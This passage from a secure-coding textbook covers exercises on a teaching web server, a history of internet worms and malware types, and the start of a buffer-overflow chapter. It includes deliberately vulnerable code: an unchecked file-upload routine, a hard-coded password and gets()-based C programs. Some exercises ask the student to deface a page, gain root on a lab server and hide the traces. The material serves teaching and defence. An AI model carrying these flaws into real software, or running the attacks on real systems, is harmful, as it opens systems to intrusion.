tion, designing a secure system encompasses much more than incorporating security features
into the system. Security features may be able to protect against specific threats, but if the
software has bugs, is unreliable, or does not cover all possible corner cases, then the system
may not be secure even if it has a number of security features.
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Exercises for Part 1

In this book, we advocate a hands-on approach to learning about security. In addition to
reading the chapters in this book, we strongly encourage you to do the exercises that appear
at the end of each part. Some of the exercises ask concept-based questions that test your
understanding of what you have read, while others are hands-on programming exercises
that involve constructing attacks and writing code that defends against them.

The first few exercises that follow are designed to get you to think about the security con-
cepts you learned in the first chapter of this book. Some of the remaining ones give you the
opportunity to use what you have learned about secure design approaches and principles to
extend the functionality of SimpleWebServer, attack it, and/or fix flaws in it. Doing these exer-
cises will help you to walk the walk—not just talk the talk.

1. Are there dependencies between any of the security concepts that we covered? For
example, is authentication required for authorization? Why or why not?

2. Why is two-factor authentication better than one-factor authentication?

3. A Trojan horse is a program that advertises that it does one thing, but really does
something that’s malicious. For example, a computer chess program that deletes the
contents of the user’s hard drive when the user loses the game is a Trojan horse. How
would the Bell-LaPadula model prevent an attacker that only has unclassified access
to a system from obtaining top secret information even if the attacker is able to trick
his boss (who has top secret clearance) to run a Trojan horse?

4. State the difference between confidentiality and data integrity in three sentences
or less.

5. What happens if a client connects to SimpleWebServer, but never sends any data and
never disconnects? What type of an attack would such a client be able to conduct?

6. HTTP supports a mechanism that allows users to upload files in addition to retrieving
them through a PUT command.

a. What threats would you need to consider if SimpleWebServer also had functional-
ity that could be used to upload files?

b. For each of the specific threats you just listed, what types of security mechanisms
might you put in place to mitigate the threats?
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c. Consider the following code, which allows for text file storage and logging
functionality:

public void storeFile(BufferedReader br,
OutputStreamWriter osw,
String pathname) throws Exception {

FileWriter fw = null;
try {

fw = new FileWriter (pathname);
String s = br.readLine();
while (s != null) {

fw.write (s);
s = br.readLine();

}
fw.close();
osw.write ("HTTP/1.0 201 Created");

}
catch (Exception e) {

osw.write ("HTTP/1.0 500 Internal Server Error");
}

}

public void logEntry(String filename,String record) {
FileWriter fw = new FileWriter (filename, true);
fw.write (getTimestamp() + " " + record);
fw.close();

}

public String getTimestamp() {
return (new Date()).toString();

}

Modify the processRequest() method in SimpleWebServer to use the preceding file
storage and logging code.

d. Run your web server and mount an attack that defaces the index.html home page.

e. Assume that the web server is run as root on a Linux workstation. Mount an attack
against SimpleWebServer in which you take ownership of the machine that it is
running on. By taking ownership, we mean that you should be able to gain access
to a root account, giving you unrestricted access to all the resources on the system.
Be sure to cover your tracks so that the web log does not indicate that you
mounted an attack.

7. Rewrite the serveFile() method such that it imposes a maximum file size limit. If a
user attempts to download a file that is larger than the maximum allowed size, write a
log entry to a file called error_log and return a “403 Forbidden” HTTP response code.

CHAPTER 4 ■ EXERCISES FOR PART 178

7842CH04.qxd  12/12/06  4:21 PM  Page 78



a. What happens if an attacker tries to download /dev/random after you have made
your modification?

b. What might be some alternative ways in which to implement the maximum file
size limit?

c. Implement multithreading and a mechanism that allows a maximum number of
concurrent downloads for a particular IP address.

8. In the implementation of checkPath() in Section 3.1, we used the getCanonicalPath()
method provided by the java.io.File class in Java. Writing a good getCanonicalPath()
function can be tricky! Write your own implementation of getCanonicalPath() that
takes a string as input and returns a canonicalized pathname string without relying on
calls to the operating system. Rewrite checkPath() to use your implementation of
getCanonicalPath(), and test that it works in SimpleWebServer. Trade implementa-
tions with a classmate/colleague of yours and try to break it.

9. Implement basic HTTP authorization for SimpleWebServer. Read the HTTP 1.0 specifi-
cation for more details (www.w3.org/Protocols/rfc2616/rfc2616.html) on how basic
HTTP authorization works.

a. Instrument SimpleWebServer to store a username and password as data members.
Require that any HTTP request to the web server be authorized by checking for
an authorization HTTP header with a base64-encoded username and password.
Requests that do not contain an authorization header should receive a 
WWW-Authentication challenge. Requests that do contain an authorization header
should be authenticated against the username and password hard-coded in the
SimpleWebServer class. (In Chapter 9, you will learn to build a proper password
manager for SimpleWebServer so that the username and password do not need
to be hard-coded.)

b. Pretend that you are an attacker who got ahold of the compiled SimpleWebServer.
class file. Run the strings utility on the compiled SimpleWebServer.class file to
reveal the username and password that your modified web server requires. (If you
are running a UNIX-based system, the strings utility is most likely preinstalled on
your system. If you are running Windows, you can obtain the strings utility from
www.sysinternals.com/Utilities/Strings.html.)

c. Install Ethereal (www.ethereal.com) and a base64 decoder on your system. Make a
few HTTP requests to your web server in which you use your username and pass-
word to authenticate. Use Ethereal to capture network traffic that is exchanged
between your web client and server. Use the base64 decoder to convert the
encoded username and password in the Ethereal logs to plain text.
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Worms and Other Malware

This chapter provides a detailed look and some history as to how vulnerable software can
impact the entire Internet. Malicious hackers write software that takes advantage of software
vulnerabilities to spread worms and infiltrate many machines on the Internet, since much
deployed software is vulnerable to attack. If you create software to be fundamentally less vul-
nerable to attack, then you can minimize the ease with which worms spread. In addition to
describing how some worms have worked in detail, we describe other types of malware—such
as rootkits, botnets, and keyloggers—and how these have posed threats to the security of the
Internet and electronic commerce. The primary purpose of this chapter is to give you a sense
of how badly things can go wrong, and give you an idea of what you are up against when you
write code.

5.1. What Is a Worm?
A worm is a type of a virus. A virus is a computer program that is capable of making copies
of itself and inserting those copies into other programs. One way that viruses can do this is
through a floppy or USB disk. For instance, if someone inserts a disk into a computer that is
infected with a virus, that virus may copy itself into programs that are on the disk. Then, when
that disk inserted in other computers, the virus may copy itself and infect the new computers.

A worm is a virus that uses a network to copy itself onto other computers. The rate at
which a traditional virus can spread is, to an extent, dependent upon how often humans put
infected disks into computers. A worm, on the other hand, uses a network such as the Internet
to spread. Millions of computers are always connected to the Internet. The rate at which a
worm can propagate and spread to other computers is orders of magnitude faster than the
rate at which viruses can spread for two reasons: (1) there are a large number of available
computers to infect, and (2) the time required to connect to those computers is typically on
the order of milliseconds. Given how pervasive networking is, this chapter will focus on worms
instead of traditional viruses.

The material in this chapter on worms illustrates how security vulnerabilities can affect
the entire Internet. At the same time, worms are simply one type of threat that can result from
security vulnerabilities. In addition, while some worms exploit security vulnerabilities in soft-
ware, not all of them do, and some of them rely on gullible users to spread.
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5.2. An Abridged History of Worms
This section describes how worms can affect the operation of the entire Internet. We start with
a description of the Morris worm, the first worm ever to be deployed on the Internet, in 1988.
Then we cover Code Red, Nimda, Blaster, and SQL Slammer, a series of worms that caused sig-
nificant damage between 2001 and 2003. Even though the Morris worm surfaced in 1988, a
number of the lessons that we learned from it still hold true, and, to an extent, serve as evi-
dence that the Internet community is still working on learning those lessons!

5.2.1. The Morris Worm: What It Did
The Morris worm was named after its creator, Robert Morris. Morris was a graduate student at
Cornell University when he wrote the worm. When he first deployed the worm, it was able to
infect over 6,000 computers in just a few hours.

The Morris worm used the Internet to propagate from one machine to the other, and it
did not need any human assistance to spread. The Morris worm made copies of itself as it
moved from one computer to the other. The act of copying itself caused substantial damage
on its own. The amount of network traffic that was generated by the worm scanning for other
computers to infect was extensive. The effort required by system administrators to even deter-
mine if a particular computer was infected, let alone remove it, was also significant.

The Morris worm took advantage of a vulnerability in a UNIX program called fingerd (the
finger daemon server) to spread. The fingerd program is a server process that answers queries
from a client program called finger. The finger client program allows users to find out if other
users are logged onto a particular system. For example, if you wanted to see if your friend Bob
was logged into an Internet host called “shrimp,” you could type finger @shrimp and look for
Bob’s login ID in the output. The Morris worm took advantage of the fact that that fingerd was
homogenously deployed on all UNIX systems. To propagate from one machine to another, the
Morris worm exploited a buffer overflow vulnerability in the fingerd server. (We will cover how
buffer overflows work in Chapter 6.)

In addition to the fingerd buffer overflow vulnerability, the Morris worm took advantage
of a vulnerability in another piece of software that is deployed on most UNIX servers—the
sendmail program. The sendmail program is used to route e-mails from one UNIX server to
another. It allows mails to be routed to processes in addition to mailbox files. It has a “debug
mode” built into it that allows a remote user to execute a command and send a mail to it,
instead of just sending the mail to an already running process. The Morris worm took advan-
tage of the debug mode to have the mails that it sends execute “arbitrary” code. In particular,
Morris had the servers execute code that copies the worm from one machine to another. The
debug mode feature should have been disabled on all of the production UNIX systems that it
was installed on, but it was not (see the discussion on hardening in Section 3.6).

A third vulnerability that the Morris worm took advantage of was the use of two addi-
tional UNIX commands called rexec and rsh, both of which allow a user to remotely execute
a command on another computer. The rexec command required a password. The Morris
worm had a list of 432 common passwords hard-coded in it, and attempted to log into other
machines using that list of passwords. Once it successfully logged into a machine with a given
username and one of the passwords, it would attempt to log into additional machines to
which the compromised machine was connected. In some cases, the rexec command was
used to remotely execute a command on the additional machines with the guessed password.
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In other cases, due to the way that the rsh command works, the additional machine would
allow a login without a username and password because the machine was whitelisted by
the user.

The Morris worm illustrates that security is not only a software quality issue, but also a
systems deployment issue. Some systems are large and have so many different features that
it is difficult to configure the programs correctly so that they have all of their unnecessary
features turned off. Entire books have been written on how to harden Linux and Windows
deployments. System administrators also should not allow their users to choose weak, easily
guessable passwords, or allow their users to arbitrarily whitelist other machines just to make
things more convenient.

5.2.2. The Morris Worm: What We Learned
There are three main things that the Morris worm did to propagate from one server to another:
(1) it attempted to use a buffer overflow vulnerability in the finger daemon server, (2) it took
advantage of the debug mode in sendmail, and (3) it tried to remotely log into hosts using
common usernames and passwords.

There are many lessons to be learned from the Morris worm. A first is that “diversity” is
good. The Morris worm took advantage of vulnerabilities in UNIX servers. Since most UNIX
systems function the same way, the Morris worm was able to rely on certain vulnerabilities
existing on all of these hosts. Therefore, from a security standpoint, homogeneity of operating
systems makes it easier for an attacker to predictably exploit system vulnerabilities—if the vul-
nerability exists on one system, it exists on all of them. Heterogeneity in operating systems
would have made the Morris worm’s job harder. This lesson is still true today. Even with some
of the more recent worms that have been successful at infecting many hosts, the large market
share that some operating systems companies have can sometimes be a disadvantage from a
security standpoint. For instance, if there is a vulnerability somewhere in the Microsoft Win-
dows operating system, and 90 percent of the Internet population runs Microsoft, an attacker
can rely on any particular vulnerability being on most of the machines they want to attack.

A second lesson that we learned is that large programs are particularly vulnerable to
attack. The sendmail program is very large and has lots of lines of code. With any program that
large, it is difficult to be able to go through it line by line and comb it for all possible security
vulnerabilities. Big programs are likely to have more bugs and more exploitable vulnerabilities
that worms and other attackers can take advantage of. At the same time, we should keep in
mind that just because a program is small, it does not necessarily make it any less vulnerable
to attack. The fingerd program is small compared to sendmail, yet the Morris worm was able
to take advantage of a buffer overflow in it.

A third lesson from the Morris worm is the importance for users to choose good pass-
words. A good password is one that is hard for an attacker to guess. As was the case with the
Morris worm, an attacking person or program can simply use a prepackaged list of common
passwords to get access to some user account. Robert Morris and Ken Thompson determined
as early as 1979 that if users are left to their own devices, they typically choose easily guessable
passwords (Morris and Thompson 1979). If the users in 1988 had all chosen good passwords,
then the Morris worm would have had a hard time trying to use its prepackaged list of 432
passwords. While the security community has been working hard to deploy alternative forms
of authentication, passwords might be with us for some time. (Chapter 9 discusses password
security in more depth.)
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5.2.3. The Creation of CERT
Due to the damage and level of disruption that the Morris worm caused in 1988, the US gov-
ernment decided to fund an organization called the Computer Emergency Response Team
(CERT). Carnegie Mellon University ran CERT as a research, development, and coordination
center for emergency response to attacks. Since 1988, CERT has become a leading center not
only on worm activity but also on software vulnerability announcements. CERT also works to
raise awareness about our cyber-security even at the time of writing of this book.

5.2.4. The Code Red Worm
In 2001, the Code Red worm surfaced (CERT 2002). It exploited a buffer overflow vulnerability
in the Microsoft IIS web server. The web server had an “indexing server” feature turned on by
default. Code Red took advantage of the buffer overflow vulnerability in IIS to propagate. Once
Code Red infected a particular machine, it started randomly scanning other IP addresses to
try to connect to other IIS web servers at those IP addresses. It spread from one web server to
another quickly (over 2,000 hosts per minute [Moore and Shannon 2002]).

CODE RED ATTACKS THE WHITE HOUSE

Once the Code Red worm had infected a particular web server, it conducted a DDoS attack against the White
House’s web site if the date happened to be between the 20th and 27th of the month. The DDoS attack con-
sisted of sending lots of data packets to the White House’s web site. This sometimes resulted in using all the
bandwidth of the client’s Internet connection, and in slowing down or taking the White House web site offline.
In addition to the DDoS attack, the worm defaced the home page of the web server that it infected.

Code Red was interesting because it was able to spread at speeds that humans simply
could not keep up with. In order for the worm to spread from one web server to another, it
only had to construct an IP address, connect to the web server at that IP address, and exploit
the buffer overflow vulnerability at the other web server. The entire process took milliseconds.
Human response takes minutes or hours. Since the worm was able to spread to thousands of
machines within minutes, there was little that anyone could do to react to the attack quickly
enough to curtail it.

Another interesting characteristic of the Code Red worm is that it spread rampantly, even
though there was virus scanning software running on some of the machines it infected. Virus
scanning utilities often scan for infected files—they look for particular bit patterns (some-
times called signatures) in files that may be infected with viruses. However, to prevent being
detected, Code Red would just stay resident in the web server’s memory. Code Red did not
write any files to disk, and, as a result, was able to evade automated detection by some typical
virus scanners. At the same time, a user could check if her machine was infected simply by
viewing the home page returned by her web server. Anyone visiting an infected web server
was alerted, since Code Red defaced the front page of the web server. Unlike most worms,
Code Red was much more easily detectable by humans than some virus scanners.
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Because Code Red was resident only in memory, it could be eliminated from a particular
web server just by rebooting the machine. Yet, even if you rebooted an infected web server, it
would typically get reinfected very quickly! So many other infected web servers were continu-
ously scanning for victims that it wasn’t long before one of them happened to construct the IP
address for your server and reinfect it. As such, firewalls were used to block traffic from being
sent to web servers to prevent reinfection.

5.2.5. The Nimda Worm
The Nimda worm was very interesting since it took some of what Code Red did and it made it
a lot worse. Nimda not only spread from web server to web server, but it employed multiple
propagation vectors. A propagation vector, in the context of worms, is a method by which the
worm spreads to another machine. The Morris worm, for instance, had three propagation
vectors: the fingerd buffer overflow vulnerability, the sendmail debug mode vulnerability,
and password-guessing remote login. Code Red, by comparison, only used one propagation
vector.

Like Code Red, Nimda spread from web server to web server. In addition, Nimda spread
from web servers to web clients by infecting files on the web server. Whenever a web browser
connected to that web server and downloaded an infected file, it also became infected. Nimda
used the infected client to continue to spread the worm. Nimda sent out e-mails from the
infected client to other machines containing the worm’s code as a payload. (A payload is the
data that the worm carries when it travels from one machine to another.) Therefore, Nimda
took all of what Code Red did, packaged in a couple of other different propagation vectors,
and thereby increased its ability to spread aggressively.

The Code Red and Nimda worms spread so quickly that it caught the attention of many
academics and researchers. There are now entire workshops and conferences studying the
speed at which worms spread and the potential defenses that we might be able to use as
countermeasures (e.g., the Workshop on Rapid Malcode, held in association with the ACM
Conference on Computer and Communications Security). Some projects presented at such
conferences explore the commonalities between some of the mathematical models that can
be used to understand both biological spread of viruses and the technological spread of
worms.

5.2.6. The Blaster and SQL Slammer Worms
In 2003, the Blaster and SQL Slammer worms surfaced. Blaster, like Code Red, took advantage
of a buffer overflow vulnerability in Microsoft’s operating system. Instead of attacking a web
server, however, Blaster attacked a Distributed Component Object Model (DCOM) service that
was running as part of the operating system.1 Microsoft deployed a patch for the vulnerability
at http://windowsupdate.microsoft.com on July 16, 2003. While users could have downloaded
the patch and inoculated their systems against an attack that took advantage of such a buffer
overflow vulnerability, many unfortunately did not. Patching a system is inconvenient and
gets in the way of the “real work” that users are interested in doing. On August 11, 2003, even
though the DCOM vulnerability was announced and a patch was deployed, the Blaster worm
was still able to take advantage of the vulnerability to launch its attack.
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The Blaster worm used an exploit that would cause the user’s system to start shutting
down. The dialog box shown in Figure 5-1 would pop up on a user’s screen once their host
was infected.

Figure 5-1. The System Shutdown dialog box caused by the Blaster worm

The Blaster worm attacked hosts running versions of Windows NT, 2000, and XP. The host
did not need to be running a web server. Most users were surprised by the dialog box that
popped up as their system shut down. Some users thought that the dialog box might be due
to some operating system bug, which they assumed could be corrected by simply by letting
their system reboot.

Once the worm caused the system to shut down and reboot, the worm issued a DDoS
attack against the Windows Update site (http://windowsupdate.microsoft.com). So even when
users realized that their PCs may have been infected with a worm, when they tried to go to the
Windows Update site to patch their systems, the deluge of DoS traffic sent to the site from
their own computers prevented them from doing so.

The Blaster worm coupled some characteristics of the previous worms (exploiting a buffer
overflow and randomly scanning for new hosts to which to propagate) with a DDoS attack
against a web site that had the patch to fix the problem.

SQL Slammer was another worm that appeared the same year as Blaster. SQL Slammer,
like Blaster and some of the other previous worms, took advantage of a buffer overflow vulner-
ability. However, instead of attacking an operating system service (as in the case of Blaster) or
the web server application (as in the case of Code Red), SQL Slammer attacked the Microsoft
SQL Server database application.

There are many “mission critical” types of applications that depend upon databases such
as Microsoft SQL Server. Once SQL Slammer hit a particular database server, it disabled that
server and continued scanning random IP addresses for other SQL Server machines that it
could infect. The excessive traffic generated by the SQL Slammer worm as it scanned for other
SQL servers to infect caused outages in approximately 13,000 Bank of America ATMs, which
prevented users from withdrawing money. In addition, Continental Airlines’ systems were
affected—some regional flights were canceled and others were delayed (Sieberg and Bush
2003). The SQL Slammer worm was serious enough that the White House was notified.

Another interesting characteristic of SQL Slammer is that it took a single UDP packet of
only 376 bytes to exploit the buffer overflow vulnerability to propagate the worm. Since UDP is
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connectionless, the worm was able to spread extremely quickly. The worm infected at least
75,000 hosts, and 90 percent of them were infected within the first 10 minutes of the worm’s
release (Moore et al. 2003).

While the SQL Slammer worm caused most of its outages primarily because of the traffic
that it generated by scanning other SQL servers, the worm could have been much worse if, for
example, it had been designed to delete data, change data, or publish data on the Internet.

IT COULD HAVE BEEN EVEN WORSE

It is important to note that all the worms described in this chapter did not create as much damage as their
capability could have permitted. Some of these worms were written by teenage hackers looking for fame.
Other more dangerous worms have been developed since then. For example, the Witty worm was engineered
to be much more effective than the worms we have described thus far, and was very successful at executing
targeted attacks against security products used to protect users’ PCs themselves (Shannon and Moore 2004;
Schneier 2004).

One positive side effect from these worms is that the security community started to act
more aggressively to deal with them. For example, system administrators have become more
aware of the threats than they were five or ten years prior. They started deploying preventive
and containment measures, and they put more processes in place to deal with the attacks.
Researchers started spending a lot more time thinking about how worms spread so that new
technologies to contain these attacks could be developed. Incident response teams were
formed at some companies that did not already have them, and those companies formed rela-
tionships with the authorities to coordinate in the case of a widespread attack. Organizations
that did not already have a disaster recovery plan in place created one.

Users have also become a little (but not much) more sensitive and paranoid regarding
which web sites they visit, and which e-mail attachments they open.

In addition, programmers are becoming smarter about writing their code such that it is
more secure. You are, after all, reading this book! In early 2002, Microsoft put all their develop-
ment projects on hold, spent a lot of time examining their software, and enrolled their pro-
grammers in training courses on how to prevent security vulnerabilities. Hopefully, over time,
other companies will follow suit because, if nothing else, the worms that we’ve discussed have
demonstrated that having a vulnerable software infrastructure is not a tenable situation.

5.3. More Malware
Worms that propagate from one machine to another are just one software-based tool that an
attacker can use as part of a system infiltration. In this section, we describe other types of
malware that an attacker might employ. Some of the worms that we have described take
advantage of software vulnerabilities to spread, but other types of malware may not. Some
malware, for instance, may rely on social engineering–based attacks to dupe users into down-
loading and installing it. Since 2003, the types of malware that we list have become more
prevalent, and we provide some more up-to-date information and some case studies of them
at www.learnsecurity.com/ntk.
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Here are some other types of malware that you need to be aware of:

Rootkits: A rootkit is a set of impostor operating system tools (tools that list the set of
active processes, allow users to change passwords, etc.) that are meant to replace the
standard version of those tools such that the activities of an attacker that has compro-
mised the system can be hidden. Once a rootkit is successfully installed, the impostor
version of the operating system tools becomes the default version. A system administra-
tor may inadvertently use the impostor version of the tools and may be unable to see
processes that the attacker is running, files or log entries that result from the attacker’s
activity, and even network connections to other machines created by the attacker.

Botnets: Once an attacker compromises (“owns”) a machine, the attacker can add that
machine to a larger network of compromised machines. A botnet is a network of soft-
ware robots that attackers use to control large numbers of machines at once. A botnet of
machines can be used, for example, to launch a DDoS attack in which each of the machines
assimilated into the botnet is instructed to flood a particular victim with IP packets. If an
attacker installs a rootkit on each machine in a botnet, the existence of the botnet could
remain quite hidden until the time at which a significant attack is launched.

Spyware: Spyware is software that monitors the activity of a system and some or all of its
users without their consent. For example, spyware may collect information about what
web pages a user visits, what search queries a user enters, and what electronic commerce
transactions a user conducts. Spyware may report such activity to an unauthorized party
for marketing purposes or other financial gain.

Keyloggers: A keylogger is a type of spyware that monitors user keyboard or mouse input
and reports some or all such activity to an adversary. Keyloggers are often used to steal
usernames, passwords, credit card numbers, bank account numbers, and PINs.

Adware: Adware is software that shows advertisements to users potentially (but not nec-
essarily) without their consent. In some cases, adware provides the user with the option
of paying for software in exchange for not having to see ads.

Trojan horses: Also known simply as a Trojan, a Trojan horse is software that claims to per-
form one function but performs an additional or different function than advertised once
installed. For example, a program that appears to be a game but really deletes a user’s
hard disk is an example of a Trojan.2

Clickbots: A clickbot is a software robot that clicks on ads (issues HTTP requests for
advertiser web pages) to help an attacker conduct click fraud. Some clickbots can be pur-
chased, while others are malware that spreads like worms and are part of larger botnets.
They can receive instructions from a botnet master server as to what ads to click, and
how often and when to click them. Some clickbots are really just special cases of a bot in
a botnet.

CHAPTER 5 ■ WORMS AND OTHER MALWARE90

2. The term Trojan horse comes from a battle in which the ancient Greeks provided a “gift” to the
Trojans—a large wooden horse that was hollow on the inside, and filled with Greek soldiers. The
Greeks left the horse at the gates of Troy, and sailed far enough to appear that they had left for good.
The Trojans in Troy let the horse into their city gates thinking it was a gift. In the middle of the night,
the Greeks hiding inside the horse came out and opened the city gates to allow the Greek soldiers
into the city, and they destroyed the city of Troy!
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While there are some prevention and detection techniques that can be used to deter
worms, rootkits, botnets, and other threats, an implementation vulnerability such as a buffer
overflow can open the door to these threats. Buffer overflow vulnerabilities alone are extremely
dangerous, and a sound way to deal with them is to prevent them from entering your code
altogether, to whatever extent possible. We spend the next chapter on buffer overflow vulnera-
bilities.
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Buffer Overflows

In this chapter, along with the next few, you’ll learn how to protect code against various
threats to ensure an application’s security from the beginning of construction. These chapters
are example driven. Knowledge of the C programming language, background with using data-
bases, and/or experience with web and HTML programming will be useful. In the case that
you’re not familiar with all of these technologies, we provide an explanation of the code exam-
ples so that you can benefit regardless of the technologies you’re most familiar with.

The goal of these chapters is to teach you to develop and implement software that is
inherently secure. In the field of security, there is much emphasis on deploying firewalls,
intrusion detection systems, and other types of defenses to protect systems from attack. One
of the reasons that all these different types of defense systems need to be deployed is because
there are so many vulnerabilities in much of the software that we use today. Tools such as
firewalls are necessary for attempting to constrain the interaction between our inherently
insecure software and the outside world. Much of the software that we use today was not
developed with security in mind or as a key design criterion.

Buffer overflows provide an open door for an attacker to take control of a machine. A
buffer overflow vulnerability allows an attacker to inject code into an already running program
and then have the program start running the attacker’s code. While buffer overflow attacks
are preventable, they continue to be a common vulnerability. Even ten years after the Morris
worm (see Sections 5.2.1 and 5.2.2), 50 percent of CERT vulnerability announcements were
due to buffer overflows (McGraw and Viega 2000).

6.1. Anatomy of a Buffer Overflow
A buffer is an area of memory that can be used to store user input. Buffers often have some
fixed maximum size. If the user provides more input than can fit into the buffer, the extra
input might end up in unexpected places in memory, and the buffer is said to overflow.
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6.1.1. A Small Example
Consider the small example C program that follows:

void get_input() {
char buf[1024];
gets(buf);

}
void main(int argc, char *argv[]) {

get_input();
}

This program is vulnerable to a buffer overflow attack. It has two functions: a main()
function and a get_input() function. When the C program starts executing, it starts with the
main() function. The main() function calls get_input(). The get_input() function is called to
accept input from the user. The get_input() function has a variable called buf, which is simply
an array of characters. It can be used to store up to 1,024 characters1 (bytes of input) from the
user. The next line in the get_input() function is a call to the gets() C library function. The
gets() function asks the operating system to start accepting input from the user until the user
types a carriage return. Then, the gets() function stores that input in the buf variable. 

What makes this program vulnerable to a buffer overflow attack is that while most users
may not enter input that exceeds 1,024 characters, a malicious user might enter more than
1,024 characters before typing the carriage return. The problem is that the buf variable has
only been allocated 1,024 bytes of memory. In a perfect world, extra input might be automati-
cally ignored by gets(), or gets() might return with an error. In the real world, unfortunately,
because of the way that the gets() function is implemented in the standard C programming
library, something much worse can happen. Let’s look at a program whose functionality is a
bit more significant to give an example of why such an error could be more serious.

6.1.2. A More Detailed Example
To show how dangerous buffer overflow vulnerabilities can be, we provide a more detailed
example in which a password program guards a vault and is compromised due to the vulnera-
bility (see Figure 6-1). The compromise will provide an attacker access to the vault without
requiring a correct password. The password program is shown here:

1 int checkPassword() {
2 char pass[16];
3 bzero(pass, 16); // Initialize
4 printf ("Enter password: ");
5 gets(pass);
6 if (strcmp(pass, "opensesame") == 0)
7 return 1;
8 else
9 return 0;
10 }
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1. Actually, 1023 bytes of user input, and 1 byte for the null character. In our discussion when we refer to
user input, we count the null character as a byte of user input and say 1024 bytes for simplicity.
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11
12 void openVault() {
13 // Opens the vault
14 }
15
16 main() {
17 if (checkPassword()) {
18 openVault();
19           printf ("Vault opened!");
20      }
21 }

Figure 6-1. Vault example

The preceding program contains three functions: main(), openVault(), and checkPassword().
The program’s purpose is to allow a user to enter a password. If the user enters a correct pass-
word, the program calls the openVault() function. In a real program, the openVault() function
might issue a command that opens a bank vault, dispenses cash out of an ATM machine, or
does some other operation based on the password check. Therefore, it is necessary to ensure
that the openVault() function only gets called when the user enters the correct password, and
that there is no other possible way for the openVault() function to be called.

Let’s examine how the program works in more detail. The main() function calls
checkPassword() to allow the user to enter a password. The checkPassword() function returns
the value 1 or true if the user enters the correct password, which, in this case, is the string
opensesame.2 If the user does not enter a correct password, checkPassword() returns 0 or

CHAPTER 6 ■ BUFFER OVERFLOWS 95

2. In general, it is poor practice to hard-code passwords and other secrets directly in source code. 
We discuss best practices for storing secrets in Chapter 14.
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false. Looking back at main(), if checkPassword() returns a nonzero value (like 1), it calls
openVault(). If the user does not enter the correct password, then openVault() should not
get called.

The program looks reasonable, but it is vulnerable to a buffer overflow attack. Due to the
vulnerability, it is possible for an attacker to coerce the program into calling openVault() even
without entering the correct password. To understand why this can occur, first notice that a
buffer of 16 bytes called pass has been allocated in checkPassword() to hold the password that
the user enters. The gets() function is used to fill that buffer.

Microprocessors use the concept of an execution stack to keep track of what function they
are running at any particular time, and what function they need to return to after finishing the
current function. The execution stack helps the microprocessor remember where it “left off”
when one function calls another. The way that a normal execution stack for the program
would look is illustrated by the box labeled “Normal Stack” in Figure 6-1.3

After the program is loaded in memory, control is transferred to the main() function.
Then, main() calls checkPassword() and puts the variables used in the checkPassword() func-
tion on top of the stack, as part of a stack frame. A stack frame holds variables and other data
that might be used by a function. In the case of checkPassword(), its stack frame contains the
local variable pass, followed by the return address of the main() function (denoted by main in
the figure.) Once the microprocessor finishes executing checkPassword(), it uses the return
address to determine where to continue execution of the program.

If a user enters a password that is less than 16 characters, the program will execute nor-
mally. If the user enters a password that is more than 16 characters, the first 16 characters of
the user’s input will occupy the space allocated to the pass buffer. However, the extra user
input will start overwriting the return address—namely the address of the main() function. If
that return address gets overwritten, then once the microprocessor finishes executing the
checkPassword() function, it will continue program execution at whatever return address is
specified by the four bytes that exist below the pass buffer.4

If an attacker enters input longer than 16 characters, and the 17th to 20th characters of
the input are just garbage, then the program might crash because the microprocessor would
try continuing program execution at an invalid return address. However, if the attacker care-
fully constructs the 17th to 20th characters of input, she could have the program jump to
some other function within the executing process, or even to some code of her own choice.
Such user input provided by the attacker is often called an attack string.

If the attacker is interested in opening the vault without knowing the legitimate password,
the attacker can carefully construct the 17th to 20th characters of the attack string to be the
address of the openVault() function. Upon finishing writing the attacker’s input into the pass
buffer and overwriting the return address, the gets() function returns, and the checkPassword()
function continues its execution. The “Compromised Stack” part of Figure 6-1 depicts what
the execution stack looks like just after gets() returns.

Next, the checkPassword() function executes the string comparison, and compares what-
ever the attacker put into the pass buffer with opensesame. Assume the attacker does not know
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3. In the figure, the stack is depicted to grow upward for pedagogical reasons—in many common micro-
processor architectures, the stack grows toward smaller addresses.

4. We assume a 32-bit microprocessor in which memory addresses are 4 bytes.
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the correct password, and fills the first 16 characters of the attack string with arbitrary charac-
ters. The arbitrary characters will not match opensesame, and the checkPassword() function
will return the value 0. However, due to the way that the attacker carefully constructed the
17th to 20th characters of the attack string, the return address is now the address for the
openVault() function. So, even though the attacker did not know the correct password, the
program will continue its execution by calling the openVault() function, and have the vault
opened!

An attacker can easily discover the address of the openVault() function if she has the
source code for the program, or if she has the binary. If she has the source code of the pro-
gram, she can attempt to find the address of the openVault() function by inserting a print
statement into the program that prints out the address of the openVault() function. She needs
to be careful that any code that she adds does not disrupt the stack layout. Alternatively, if she
has the binary, she can more easily discover the address of the openVault() function by simply
running it in a debugger. Note that in either case, the attacker must be using a machine with
the same type of microprocessor that is used by the target, victim system. While having access
to the source code and/or the binary aids the attacker in constructing an attack string, she
could also derive an attack string that does her bidding through a process of trial and error if
she has access to a running version of the victim system. However, for every try, the attacker
may end up crashing the victim system because the return address that the attacker guesses
might be invalid.

Another way to take advantage of a buffer overflow vulnerability is to inject additional
code into the program that she is attacking to do her bidding. She can, for instance, add that
additional code after the return address in the attack string. The attacker can set the return
address to be the address of the additional code that she injects.

NON-EXECUTABLE STACKS DON’T SOLVE IT ALL

In an attempt to deal with buffer overflow attacks, some have suggested that program stacks should not be
executable. For example, some microprocessors support a No Execute (NX) bit for certain regions of memory,
and the bit can used by the Data Execution Protection (DEP) feature introduced in some versions of Microsoft
Windows, for instance. While this approach can help deal with attacks in which new executable code is
injected, other attacks would still be possible. For instance, the attacker can construct the return address to
be the address of some other code that is already on the victim system, but send her choice of parameters to
that code. The previous vault code is a perfect example of this, in which the attacker simply wants control to
jump to an already existing function in the program to open the vault, without knowing the correct password.

If the attacker wants to instead, say, access a command shell, she can write the address of the exec
system call into the attack string, and include additional data in the attack string to specify /bin/sh or
cmd.exe as the name of the command that should be executed. (This is often referred to as a return-
into-libc exploit.) The part of the attack string that can be used to access command shells is often called
shellcode, and, if used on a process that has root or administrator privileges, can give the attacker complete
control of the machine.
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The root cause of the buffer overflow vulnerability is that the gets() function does not
check the length of the user input that is provided. If the gets() function checked that it did
not attempt to write more data into buf than was allocated to it, then the attacker could be
prevented from overwriting the return address.

In the preceding explanation of buffer overflows, we have made simplifications for clarity.
For instance, depending upon the microprocessor and its architecture, there may exist addi-
tional data fields (such as an Extended Base Pointer, or EBP) that have to be overwritten before
the return address can be overwritten. For more details, you are encouraged to study the semi-
nal paper “Smashing the Stack for Fun and Profit,” by Aleph One. Greg Hoglund and Gary
McGraw provide a chapter on buffer overflows in Exploiting Software: How to Break Code.
